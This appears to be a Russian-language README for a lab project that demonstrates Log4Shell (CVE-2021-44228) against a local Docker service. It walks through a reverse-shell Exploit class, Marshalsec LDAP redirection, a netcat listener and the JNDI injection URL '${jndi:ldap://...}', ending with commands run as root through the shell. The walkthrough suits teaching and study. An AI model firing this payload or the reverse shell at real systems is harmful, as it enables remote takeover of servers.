
Показывает, как эксплуатировать уязвимость CVE-2021-44228.
Java-проект, демонстрирующий эксплуатацию уязвимости CVE-2021-44228.
jdk1.8.0_181, созданном при распаковке.make all, чтобы собрать все проекты и создать Docker-образ с уязвимым сервисом.make start-vulnerable-service, чтобы запустить Docker-контейнер с сервисом для эксплуатации. Сервис будет доступен через порт 8080 локальной машины.make start-nc, чтобы запустить TCP-слушатель, который будет ожидать установления соединения с захваченным сервером.make start-exploiter, чтобы запустить программу, которая поможет нам эксплуатировать уязвимость.make start-nc). Возможно, вы получили сообщение вида Connection received on 172.24.0.2 46638 (IP-адрес и TCP-порт могут отличаться от указанных здесь). Это означает, что эксплуатация сработала, и теперь у нас есть shell, подключенный к серверу/контейнеру Docker.Прежде чем ответить на этот вопрос, давайте рассмотрим процессы, создаваемые в ходе выполнения.

Этот Docker-контейнер будет обслуживать простой HTTP-сервис, который принимает GET-запросы по пути /log с параметром input. Получив запрос, он выводит входные данные на консоль.
Для эксплуатации уязвимости требуются несколько специфических конфигураций:
1.8.0_181. Это необходимо, чтобы разрешить загрузку Java-класса из внешнего сервиса.spring-boot-starter-logging:2.6.1 на spring-boot-starter-log4j2:2.6.1. Последний добавляет log4j-core:2.14.1 в проект, что является версией, уязвимой для CVE-2021-44228.
1.8.0_181.Здесь нет особых объяснений или настроек. Это простая программа для чтения и записи данных через протоколы TCP и UDP. Мы будем использовать её для прослушивания входящих TCP-соединений на порту 9001 (кто-то другой откроет это соединение для нас на стороне сервера. 😉).
После установления соединения все входящие данные будут выводиться на консоль. Также весь ввод с клавиатуры будет отправляться через это соединение.
Вот где начинается самое интересное!
Эта программа включает в себя несколько шагов, необходимых для эксплуатации уязвимости. Давайте разберём их:
Для запуска этой программы нам нужно указать три параметра:
Как только программа запускается, она записывает Java-код на основе шаблона. Этот шаблон требует два аргумента: IP-адрес и порт Netcat.
После записи кода программа компилирует его в бинарный файл класса с помощью компилятора Java (javac) версии 1.8.0_181. Это важно для сохранения той же версии кода, что и у эксплуатируемого сервиса.
Java-класс Exploit имеет довольно простую структуру. В его конструкторе есть инструкция, запрашивающая у операционной системы создание программы shell. После её создания класс открывает TCP-соединение с Netcat, связывает ввод/вывод shell и TCP-соединения и зацикливает выполнение виртуальной машины Java до тех пор, пока соединение не будет закрыто Netcat. После выхода из цикла конструктор продолжает работу, как будто ничего не произошло.
Эксплуататор открывает подпроцесс, запрашивающий выполнение Java-программы Marshalsec. Программа Marshalsec доступна в GitHub-проекте mbechler/marshalsec.
Наряду с другими функциями, она управляет LDAP-запросами и может использоваться для того, чтобы запрашивать у входящих соединений разрешение запросов путём загрузки Java-классов из внешнего источника. В нашем случае мы будем использовать её, чтобы запрашивать у входящих соединений загрузку нашего Java-класса Exploit из HTTP-сервиса.
После того как программа-эксплуататор создала подстроенный Java-класс, она запускает HTTP-сервис с одним единственным ответом: бинарный Java-класс Exploit.
Если коротко, когда уязвимый сервис запрашивает внешний класс для загрузки, этот сервис читает бинарный файл Java-класса и отправляет его обратно уязвимому сервису. Всё просто!
Когда всё запущено и работает, программа выводит HTTP-запрос, необходимый для запуска эксплуатации. Просто скопируйте и вставьте его в ваш любимый браузер или выполните curl через терминал — как вам удобнее!
Запрос будет выглядеть примерно так:
http://localhost:8080/log?input=%24%7Bjndi%3Aldap%3A%2F%2Fhost.docker.internal%3A1389%2Fa%7D
Поскольку параметры запроса содержат специальные символы, их необходимо закодировать, чтобы браузер мог их принять. Если мы декодируем сообщение, то получим:
http://localhost:8080/log?input=${jndi:ldap://host.docker.internal:1389/a}
Вот упрощённая диаграмма того, что происходит после отправки запроса:

Я попробую использовать её, чтобы объяснить, что происходит дальше:
${jndi:ldap://host.docker.internal:1389/a}.host.docker.internal:1389 с использованием ключа a (довольно скучное и недопустимое LDAP-различающееся имя, но, эй, пока работает...). Log4j отправляет запрос на этот адрес с намерением получить значение.Примечание: host.docker.internal — это допустимый адрес из Docker-сервиса для доступа к физической машине, на которой он запущен.
host.docker.internal:8000 с именем Exploit, для разрешения запроса.host.docker.internal:8000 с просьбой получить ресурс, доступный по пути /Exploit.Exploit.Exploit().Exploit() запускает программу shell на сервере и запрашивает открытие TCP-канала с host.docker.internal:9001.Exploit() затем связывает ввод/вывод shell с TCP-соединением и зацикливает поток виртуальной машины Java до тех пор, пока TCP-соединение не будет закрыто другой стороной.TBD
GitHub-проект kozmer/log4j-shell-poc — Он помог мне понять, как работает эксплуатация. Спасибо всем, кто внёс вклад в этот проект!
GitHub-проект mbechler/marshalsec — Без этого проекта я бы не смог так быстро работать с LDAP-взаимодействием и перенаправлением. Спасибо, ребята!
Видео SrcCodes об уязвимости Log4j — Хорошо объяснённое видео, показывающее, как начать эксплуатацию в программе на основе Spring.
Видео демонстрации эксплуатации CVE-2021-44228 от Nowcomm — Отличное видео, объясняющее, как эксплуатировать CVE-2021-44228 на Apache Solr. Мне пришлось просмотреть вторую половину около дюжины раз, чтобы понять, что на самом деле происходит! 😛
whoami. В ответ вы должны получить root.cat ../private-directory/my-secret-file.txt, чтобы увидеть, что произойдёт. 🙂CTRL+C, чтобы закрыть соединение.CTRL+C в других терминалах, чтобы прервать процессы.